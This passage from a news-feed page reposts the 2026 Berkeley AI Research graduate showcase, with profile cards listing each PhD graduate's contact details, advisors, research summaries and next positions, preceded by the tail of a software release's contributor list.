@SimoKiihamaki, @simpolism, @sjh9714, @skabartem, @skyc1e, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>, @soynchux, @spiky02plateau, @spjoes,<br>
@sprmn24, @srojk34, @stepanov1975, @steveonjava, @Subway2023, @sweetcornna, @swissly, @Sworntech-dev,<br>
@syahidfrd, @synapsesx, @szzhoujiarui-sketch, @talmax1124, @telos-oc, @testingbuddies24, @texhy, @tgmerritt,<br>
@theAgenticBuilder, @thestral123, @tkwong, @Tortugasaur, @Tranquil-Flow, @trevorgordon981, @truenorth-lj,<br>
@tt-a1i, @tuancookiez-hub, @TutkuEroglu, @tymrtn, @udatny, @UgwujaGeorge, @underthestars-zhy, @uperLu,<br>
@uzunkuyruk, @valenteff, @valentt, @vanthinh6886, @Versun, @victor-kyriazakos, @virtuadex, @vKongv,<br>
@w31rdm4ch1nZ, @weidzhou, @wgu9, @whoislikemiha, @wnuuee1, @woaini30050, @WuKongAI-CMU, @WuTianyi123, @WXBR,<br>
@x7peeps, @x9x9x9x9x9x91, @Xowiek, @xxchan, @xxxigm, @xydigit-zt, @yapsrubricsz0, @yashiels, @yeyitech, @ygd58,<br>
@YLChen-007, @yong2bba, @yoniebans, @ypwcharles, @yu-xin-c, @yungchentang, @yusekiotacode, @YuShu, @yyzquwu,<br>
@zapabob, @zccyman, @zeapsu, @zmlgit, @znding04, @Zyxxx-xxxyZ</p>
<p>Also: Lucas Nicolas.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.19...v2026.7.1">v2026.6.19...v2026.7.1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026 BAIR Graduate Showcase]]></title>
<description><![CDATA[Congratulations to the Berkeley Artificial Intelligence Research (BAIR) Lab class of 2026! This year, BAIR celebrates another remarkable group of Ph.D. graduates whose curiosity, creativity, and perseverance have pushed the frontiers of artificial intelligence and machine learning.

Their work sp...]]></description>
<link>https://tsecurity.de/de/3639545/ai-nachrichten/2026-bair-graduate-showcase/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639545/ai-nachrichten/2026-bair-graduate-showcase/</guid>
<pubDate>Wed, 01 Jul 2026 21:33:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- twitter -->










<p>Congratulations to the Berkeley Artificial Intelligence Research (BAIR) Lab class of 2026! This year, BAIR celebrates another remarkable group of Ph.D. graduates whose curiosity, creativity, and perseverance have pushed the frontiers of artificial intelligence and machine learning.</p>

<p>Their work spans the breadth of modern AI — robotics and embodied intelligence, large language models and reasoning, computer vision, generative modeling, AI safety, human-AI interaction, AI for science and healthcare, and much more. Along the way, they have published influential research, built systems with real-world impact, mentored their peers, and shaped the BAIR community for the better.</p>

<p>Now they are headed everywhere ideas travel: to faculty and postdoctoral positions, to industry research labs, and to startups of their own founding — and several are still exploring what comes next and would love to hear from you.</p>

<p>Please join us in celebrating the achievements of these wonderful graduates. We are proud of everything they have accomplished at Berkeley, and we can’t wait to see what they do next!</p>

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<p><small><i>Thank you to our friends at the <a href="https://ai.stanford.edu/blog/sail-graduates/">Stanford AI Lab</a> for this idea!</i></small></p>

<hr>

<div class="container">
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      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://bfshi.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/baifeng-shi.jpg" alt="Baifeng Shi" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Baifeng Shi</h1><br>
              <strong>Email:</strong><a href="mailto:baifeng_shi@berkeley.edu"> baifeng_shi@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://bfshi.github.io/">https://bfshi.github.io/</a><br>
              
              <strong>Advisor(s):</strong> Trevor Darrell<br>
              
              <strong>Research Blurb:</strong> I work on building generalist vision and robotic models.<br>
              
              
              <strong>What's next:</strong> Member of Technical Staff at Physical Intelligence
              
              
            
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        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://sea-snell.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/charlie-snell.jpg" alt="Charlie Snell" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Charlie Snell</h1><br>
              <strong>Email:</strong><a href="mailto:csnell22@berkeley.edu"> csnell22@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://sea-snell.github.io/">https://sea-snell.github.io</a><br>
              
              <strong>Advisor(s):</strong> Dan Klein<br>
              
              <strong>Research Blurb:</strong> My work aims to understand when and how the different LLM scaling paradigms can be traded off and interchanged. In particular, test-time scaling treats each prompt independently, drawing long chains of inferences and then forgetting them entirely between prompts. This differs critically from pretraining, which instead learns a compressed representation from a large dataset. I believe bridging the gap between these methods of scaling computation, presents a key open challenge in the field: how can we develop methods which turn the inferences drawn at test-time back into learned representations that the model can hold onto across interactions.<br>
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://devinguillory.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/devin-guillory.jpg" alt="Devin Guillory" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Devin Guillory</h1><br>
              <strong>Email:</strong><a href="mailto:dguillory@berkeley.edu"> dguillory@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://devinguillory.com/">https://devinguillory.com</a><br>
              
              <strong>Advisor(s):</strong> Trevor Darrell<br>
              
              <strong>Research Blurb:</strong> Accounting for data shifts in computer vision models<br>
              
              
              <strong>What's next:</strong> Building collaborative AI systems, looking for conspirators.
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://efleisig.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/eve-fleisig.jpg" alt="Eve Fleisig" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Eve Fleisig</h1><br>
              <strong>Email:</strong><a href="mailto:efleisig@berkeley.edu"> efleisig@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://efleisig.com/">https://efleisig.com</a><br>
              
              <strong>Advisor(s):</strong> Dan Klein<br>
              
              <strong>Research Blurb:</strong> I design language models to work reliably and fairly for the broad range of real LLM users. First, my research leverages disagreement among user preferences as signal, in order to train and evaluate LLMs for entire populations of users. Second, I work on designing rigorous evaluations to extricate challenging LLM harms that diverse users face. Finally, I work on core technical failures of LLMs, like miscalibrated confidence, to reduce downstream risks when models are deployed to users with different needs. Combined, these interventions facilitate building LLMs that minimize societal harms, and maximize benefits to a wider range of real-world users.<br>
              
              
              <strong>What's next:</strong> Postdoctoral fellow at Princeton CITP
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://graceluo.net/"><img src="https://bair.berkeley.edu/static/blog/grads2026/grace-luo.jpg" alt="Grace Luo" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Grace Luo</h1><br>
              <strong>Email:</strong><a href="mailto:graceluo@berkeley.edu"> graceluo@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://graceluo.net/">https://graceluo.net</a><br>
              
              <strong>Advisor(s):</strong> Trevor Darrell<br>
              
              <strong>Research Blurb:</strong> My research is on interpreting and controlling generative models. For example, I've worked on re-purposing image generators for computer vision tasks, and meta-modeling language activations for better LLM probing and steering.<br>
              
              
              <strong>What's next:</strong> Research scientist in industry
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://hanlinzhu.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/hanlin-zhu.jpg" alt="Hanlin Zhu" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Hanlin Zhu</h1><br>
              <strong>Email:</strong><a href="mailto:hanlinzhu@berkeley.edu"> hanlinzhu@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://hanlinzhu.com/">https://hanlinzhu.com/</a><br>
              
              <strong>Advisor(s):</strong> Stuart Russell, Jiantao Jiao<br>
              
              <strong>Research Blurb:</strong> My research centers on understanding and improving the reasoning capabilities of large language models (LLMs).<br>
              
              
              <strong>What's next:</strong> Member of Technical Staff at OpenAI
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://haozhi.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/haozhi-qi.jpg" alt="Haozhi Qi" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Haozhi Qi</h1><br>
              <strong>Email:</strong><a href="mailto:hqi@berkeley.edu"> hqi@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://haozhi.io/">https://haozhi.io/</a><br>
              
              <strong>Advisor(s):</strong> Jitendra Malik, Yi Ma<br>
              
              <strong>Research Blurb:</strong> Dexterous Manipulation and Robot Learning<br>
              
              
              <strong>What's next:</strong> Research scientist at Amazon; Faculty at University of Chicago
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://zamfi.net/"><img src="https://bair.berkeley.edu/static/blog/grads2026/j-d-zamfirescu-pereira.jpg" alt="J.D. Zamfirescu-Pereira" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>J.D. Zamfirescu-Pereira</h1><br>
              <strong>Email:</strong><a href="mailto:zamfi@berkeley.edu"> zamfi@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://zamfi.net/">https://zamfi.net</a><br>
              
              <strong>Advisor(s):</strong> Bjoern Hartmann<br>
              
              <strong>Research Blurb:</strong> My research focuses on effective human-AI co-design. I study the boundaries of language interfaces as a medium for interacting with AI, creating systems that blend language-focused interactions with structured user interfaces that draw on different levels of abstraction. I focus on language-oriented technologies, like LLMs and text-to-image models, that are powerful mediators of design processes. These technologies enable humans to describe their desires at almost any level of abstraction, from high-level goals vaguely specified (“I’d like a game to help my kid learn to read”) to low-level corrections of undesired outputs (“Don’t say ‘I know because I’ve tasted it’ when about a recipe substitution's taste”).<br>
              
              
              <strong>What's next:</strong> Assistant Professor, Computer Science, UCLA
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://jlian2.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/jiachen-lian.jpg" alt="Jiachen Lian" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Jiachen Lian</h1><br>
              <strong>Email:</strong><a href="mailto:jiachenlian@berkeley.edu"> jiachenlian@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://jlian2.github.io/">https://jlian2.github.io</a><br>
              
              <strong>Advisor(s):</strong> Gopala Anumanchipalli<br>
              
              <strong>Research Blurb:</strong> My research focuses on human-centered AI across speech, healthcare, and systems.<br>
              
              
              <strong>Looking for:</strong> Look for AI talents to join our startup
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://joshuaminwookang.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/josh-kang.jpg" alt="Josh Kang" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Josh Kang</h1><br>
              <strong>Email:</strong><a href="mailto:minwoo_kang@berkeley.edu"> minwoo_kang@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://joshuaminwookang.github.io/">https://joshuaminwookang.github.io/</a><br>
              
              <strong>Advisor(s):</strong> John Canny<br>
              
              <strong>Research Blurb:</strong> I study language modeling and related topics in NLP; specific interests are human user simulation and building conversational, collaborative AI agents.<br>
              
              
              <strong>What's next:</strong> AI Scientist at Mistral AI
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://www.linkedin.com/in/junhao-bear-xiong"><img src="https://bair.berkeley.edu/static/blog/grads2026/junhao-bear-xiong.jpg" alt="Junhao (Bear) Xiong" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Junhao (Bear) Xiong</h1><br>
              <strong>Email:</strong><a href="mailto:junhao_xiong@berkeley.edu"> junhao_xiong@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://www.linkedin.com/in/junhao-bear-xiong">https://www.linkedin.com/in/junhao-bear-xiong</a><br>
              
              <strong>Advisor(s):</strong> Jennifer Listgarten, Yun Song<br>
              
              <strong>Research Blurb:</strong> Junhao (Bear) Xiong is a PhD candidate at UC Berkeley, advised by Jennifer Listgarten and Yun S. Song. His work focuses on machine learning methods for biology, with an emphasis on generative modeling for proteins. Previously, he studied Applied Math and Computer Science at Johns Hopkins.<br>
              
              
              <strong>Looking for:</strong> Research scientist
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://kaylolittlejohn.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/kaylo-littlejohn.jpg" alt="Kaylo Littlejohn" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Kaylo Littlejohn</h1><br>
              <strong>Email:</strong><a href="mailto:kaylo_littlejohn@berkeley.edu"> kaylo_littlejohn@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://kaylolittlejohn.com/">https://kaylolittlejohn.com</a><br>
              
              <strong>Advisor(s):</strong> Gopala Anumanchipalli<br>
              
              <strong>Research Blurb:</strong> My research is focused on speech modeling and natural language processing. I co-led the development of multimodal AI tools to accurately translate brain activity into text, audible personalized speech, and a high-fidelity "digital talking avatar" (Nature 2023, Nature Neuroscience 2025). I am also tech lead for voice modeling at Roblox.<br>
              
              
              <strong>Looking for:</strong> Research Scientist / Engineer
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://kentkc.org/"><img src="https://bair.berkeley.edu/static/blog/grads2026/kent-chang.jpg" alt="Kent Chang" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Kent Chang</h1><br>
              <strong>Email:</strong><a href="mailto:kentkchang@berkeley.edu"> kentkchang@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://kentkc.org/">https://kentkc.org</a><br>
              
              <strong>Advisor(s):</strong> David Bamman<br>
              
              <strong>Research Blurb:</strong> I work on NLP and multimodal machine learning, with a focus on evaluating large language models and building multimodal systems for understanding dialogue, narrative, and social interaction. My research includes benchmarks for LLM memorization, multimodal datasets sourced from feature films and television, and studies of model behavior. I'm interested in bridging computational methods with questions from the humanities and social sciences about whose voices get represented in AI systems, and about AI's broader impact. My work has appeared at EMNLP and ACL, among others.<br>
              
              
              <strong>Looking for:</strong> (teaching) faculty, Research Scientist, ML/AI SWE
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://kevin.black/"><img src="https://bair.berkeley.edu/static/blog/grads2026/kevin-black.jpg" alt="Kevin Black" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Kevin Black</h1><br>
              <strong>Email:</strong><a href="mailto:kvablack@berkeley.edu"> kvablack@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://kevin.black/">https://kevin.black</a><br>
              
              <strong>Advisor(s):</strong> Sergey Levine<br>
              
              <strong>Research Blurb:</strong> I work on large-scale robot learning: including imitation learning, reinforcement learning, generative modeling, real-time control, and whatever else it takes to make robots work in the real world!<br>
              
              
              <strong>What's next:</strong> Research Scientist of Physical Intelligence
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://www.kunheyang.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/kunhe-yang.jpg" alt="Kunhe Yang" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Kunhe Yang</h1><br>
              <strong>Email:</strong><a href="mailto:kunheyang@berkeley.edu"> kunheyang@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://www.kunheyang.com/">https://www.kunheyang.com/</a><br>
              
              <strong>Advisor(s):</strong> Nika Haghtalab<br>
              
              <strong>Research Blurb:</strong> My research focuses on the theoretical foundations of designing and evaluating AI algorithms in environments shaped by human incentives and AI agency. My work spans human-centric policy learning, incentive-aware evaluation, and multi-agent collaboration and information transmission, drawing on tools from machine learning theory and computational economics.<br>
              
              
              <strong>What's next:</strong> Postdoc Research at Stanford
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://lisabdunlap.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/lisa-dunlap.jpg" alt="Lisa Dunlap" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Lisa Dunlap</h1><br>
              <strong>Email:</strong><a href="mailto:lisabdunlap@berkeley.edu"> lisabdunlap@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://lisabdunlap.com/">https://lisabdunlap.com</a><br>
              
              <strong>Advisor(s):</strong> Joseph Gonzalez, Trevor Darrell<br>
              
              <strong>Research Blurb:</strong> Auditing generative models.<br>
              
              
              <strong>What's next:</strong> Research Engineer at Anthropic
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://tonylian.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/long-tony-lian.jpg" alt="Long (Tony) Lian" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Long (Tony) Lian</h1><br>
              <strong>Email:</strong><a href="mailto:longlian@berkeley.edu"> longlian@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://tonylian.com/">https://tonylian.com/</a><br>
              
              <strong>Advisor(s):</strong> Trevor Darrell, Adam Yala<br>
              
              <strong>Research Blurb:</strong> My research primarily focuses on developing real-time multi-modal multi-agent systems and parallel reasoning systems through end-to-end RL.<br>
              
              
              <strong>What's next:</strong> Member of Technical Staff at Thinking Machines Lab
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://maulikb.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/maulik-bhatt.jpg" alt="Maulik Bhatt" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Maulik Bhatt</h1><br>
              <strong>Email:</strong><a href="mailto:maulikbhatt@berkeley.edu"> maulikbhatt@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://maulikb.com/">https://maulikb.com</a><br>
              
              <strong>Advisor(s):</strong> Negar Mehr<br>
              
              <strong>Research Blurb:</strong> My research develops autonomous robots that can safely coordinate with humans and other robots in shared environments. I build scalable algorithms grounded in game theory and diffusion models that let agents reason about the intent and behavior of others around them. My work spans real-time multi-agent trajectory planning and imitation learning in the presence of multi-modality. I've validated these methods on hardware platforms ranging from quadrotors to manipulators, with the goal of making multi-agent coordination robust, interpretable, and deployable in the real world.<br>
              
              
              <strong>What's next:</strong> Joining Toyota Woven's end-to-end autonomous driving team.
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://www.michaelpsenka.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/michael-psenka.jpg" alt="Michael Psenka" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Michael Psenka</h1><br>
              <strong>Email:</strong><a href="mailto:psenka@berkeley.edu"> psenka@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://www.michaelpsenka.io/">https://www.michaelpsenka.io/</a><br>
              
              <strong>Advisor(s):</strong> Aditi Krishnapriyan<br>
              
              <strong>Research Blurb:</strong> Work in various domains (reinforcement learning, world models, AI+bio/chem), generally working on longer-horizon and out-of-distribution problems in planning and interpolation (e.g. robot manipulation from start state to goal, molecular dynamics of proteins between ground states). My thesis took a variational approach (think calculus of variations) directly from deep generative models of the environment, framing path-finding as minimizing a functional induced by the learned model itself (its score, its critic, or its dynamics). Through my research I've gained insight on how to properly handle dynamics in deep learning systems, and I plan to continue developing systems that are dynamic and adaptive.<br>
              
              
              <strong>What's next:</strong> Lead Research Scientist at Baseten
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://nathanlichtle.com/"><img src="https://bair.berkeley.edu/static/blog/grads2026/nathan-lichtle.jpg" alt="Nathan Lichtlé" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Nathan Lichtlé</h1><br>
              <strong>Email:</strong><a href="mailto:nathan.lichtle@gmail.com"> nathan.lichtle@gmail.com</a><br>
              <strong>Website:</strong> <a href="https://nathanlichtle.com/">https://nathanlichtle.com</a><br>
              
              <strong>Advisor(s):</strong> Alexandre M. Bayen<br>
              
              <strong>Research Blurb:</strong> RL for autonomous driving.<br>
              
              
              <strong>What's next:</strong> Chief Scientist &amp; Co-founder at Yumi Health
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://neerja.me/"><img src="https://bair.berkeley.edu/static/blog/grads2026/neerja-thakkar.jpg" alt="Neerja Thakkar" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Neerja Thakkar</h1><br>
              <strong>Email:</strong><a href="mailto:nthakkar@berkeley.edu"> nthakkar@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://neerja.me/">https://neerja.me/</a><br>
              
              <strong>Advisor(s):</strong> Jitendra Malik<br>
              
              <strong>Research Blurb:</strong> My research focuses on scaling predictive world models to handle the complexity of in-the-wild motion. Using autoregressive and diffusion frameworks, I develop better representations for real-world prediction and propose methods to efficiently adapt these models to new domains.<br>
              
              
              <strong>Looking for:</strong> Research scientist
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://n-mehandru.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/nikita-mehandru.jpg" alt="Nikita Mehandru" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Nikita Mehandru</h1><br>
              <strong>Email:</strong><a href="mailto:nmehandru@berkeley.edu"> nmehandru@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://n-mehandru.github.io/">https://n-mehandru.github.io/</a><br>
              
              <strong>Advisor(s):</strong> Ahmed Alaa and David Bamman<br>
              
              <strong>Research Blurb:</strong> My research develops and applies machine learning methods for clinical reasoning and disease progression modeling using unstructured text and time series data from electronic health records. In collaboration with physicians at UCSF, I bridge method development and clinical validation with the intention to build reliable, interpretable AI systems in medicine.<br>
              
              
              <strong>Looking for:</strong> Research Scientist
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://niklaslauffer.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/niklas-lauffer.jpg" alt="Niklas Lauffer" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Niklas Lauffer</h1><br>
              <strong>Email:</strong><a href="mailto:nlauffer@berkeley.edu"> nlauffer@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://niklaslauffer.github.io/">https://niklaslauffer.github.io/</a><br>
              
              <strong>Advisor(s):</strong> Stuart Russell and Sanjit Seshia<br>
              
              <strong>Research Blurb:</strong> Niklas's research is focused on AI safety and reinforcement learning, particularly in the area of multi-agent interaction and LM agents. He's worked on enabling adversarial learning in cooperative and mixed-motive settings, solving issues of covariate shift in training LM agents on long-horizon tasks, as well as evaluating safety risks posed by LM agents in multi-agent settings.<br>
              
              
              <strong>What's next:</strong> Research Scientist at Google Deepmind
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://colinqiyangli.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/qiyang-li.jpg" alt="Qiyang Li" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Qiyang Li</h1><br>
              <strong>Email:</strong><a href="mailto:qcli@berkeley.edu"> qcli@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://colinqiyangli.github.io/">https://colinqiyangli.github.io/</a><br>
              
              <strong>Advisor(s):</strong> Sergey Levine<br>
              
              <strong>Research Blurb:</strong> Recent progress in robotic manipulation policy learning has been largely driven by (1) the increasing availability of large-scale prior datasets and (2) the success of action chunking, where the policy predicts a short sequence of future actions rather than a single one. However, most action chunking policies are trained via supervised imitation learning, because efficient online self-improvement with reinforcement learning (RL) remains challenging—limiting real-world applicability. My PhD research studied how we could leverage prior data to optimize action-chunking policies with RL, combining empirical results with theoretical insights.<br>
              
              
              <strong>Looking for:</strong> Post-doc/research scientist for RL in robotics and LLMs!
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://sdeglurkar.github.io/"><img src="https://bair.berkeley.edu/static/blog/grads2026/sampada-deglurkar.jpg" alt="Sampada Deglurkar" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Sampada Deglurkar</h1><br>
              <strong>Email:</strong><a href="mailto:sampada_deglurkar@berkeley.edu"> sampada_deglurkar@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://sdeglurkar.github.io/">https://sdeglurkar.github.io/</a><br>
              
              <strong>Advisor(s):</strong> Prof Claire Tomlin<br>
              
              <strong>Research Blurb:</strong> My research is in providing safety assurances for AI-enabled autonomous systems, ranging from robots to autonomous vehicles to aviation systems. For this, I have worked with uncertainty quantification for machine learning models, decision-making under uncertainty algorithms, and tools for producing probabilistic guarantees on system operation.<br>
              
              
              <strong>Looking for:</strong> Research scientist, Research engineer
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://cs.berkeley.edu/~vbenara"><img src="https://bair.berkeley.edu/static/blog/grads2026/vinamra-benara.jpg" alt="Vinamra Benara" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Vinamra Benara</h1><br>
              <strong>Email:</strong><a href="mailto:vbenara@berkeley.edu"> vbenara@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://cs.berkeley.edu/~vbenara">https://cs.berkeley.edu/~vbenara</a><br>
              
              <strong>Advisor(s):</strong> Ion Stoica<br>
              
              <strong>Research Blurb:</strong> My research focuses on LLM post-training, including data curation, RLHF, RLVR with VLMs, evaluations, reasoning, agentic workflows, and interpretability. I also have strong expertise in systems infrastructure for distributed computing.<br>
              
              
              <strong>Looking for:</strong> Research scientist / Research Engineer
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
          <a href="https://people.eecs.berkeley.edu/~vongani_maluleke/"><img src="https://bair.berkeley.edu/static/blog/grads2026/vongani-maluleke.jpg" alt="Vongani Maluleke" class="bd-placeholder-img card-img-top" width="480" height="auto"></a>
          <div class="card-body">
            <p class="card-text">
              </p><h1>Vongani Maluleke</h1><br>
              <strong>Email:</strong><a href="mailto:vongani_maluleke@berkeley.edu"> vongani_maluleke@berkeley.edu</a><br>
              <strong>Website:</strong> <a href="https://people.eecs.berkeley.edu/~vongani_maluleke/">https://people.eecs.berkeley.edu/~vongani_maluleke/</a><br>
              
              <strong>Advisor(s):</strong> Jitendra Malik and Angjoo Kanazawa<br>
              
              <strong>Research Blurb:</strong> Vongani Maluleke is a PhD candidate at UC Berkeley (BAIR, advised by Jitendra Malik and Angjoo Kanazawa), where she led the development of MAGNet, a unified multi-agent motion generation framework that supports a wide range of motion generation tasks without retraining or architectural changes, outperforming task-specialized state-of-the-art baselines. She is currently extending this work by deploying it on a Unitree G1 humanoid to make it embody social intelligence. Before her PhD, she was a Senior AI Consultant at Deloitte, awarded Exceptional Performer two consecutive years, leading AI system development across media, telecommunications, retail, and financial services.<br>
              
              
              <strong>Looking for:</strong> Research scientist
              
              
            
          </div>
        </div>
      </div>
      <hr>
    
      <div class="col-md-4">
        <div class="card mb-4 shadow-sm">
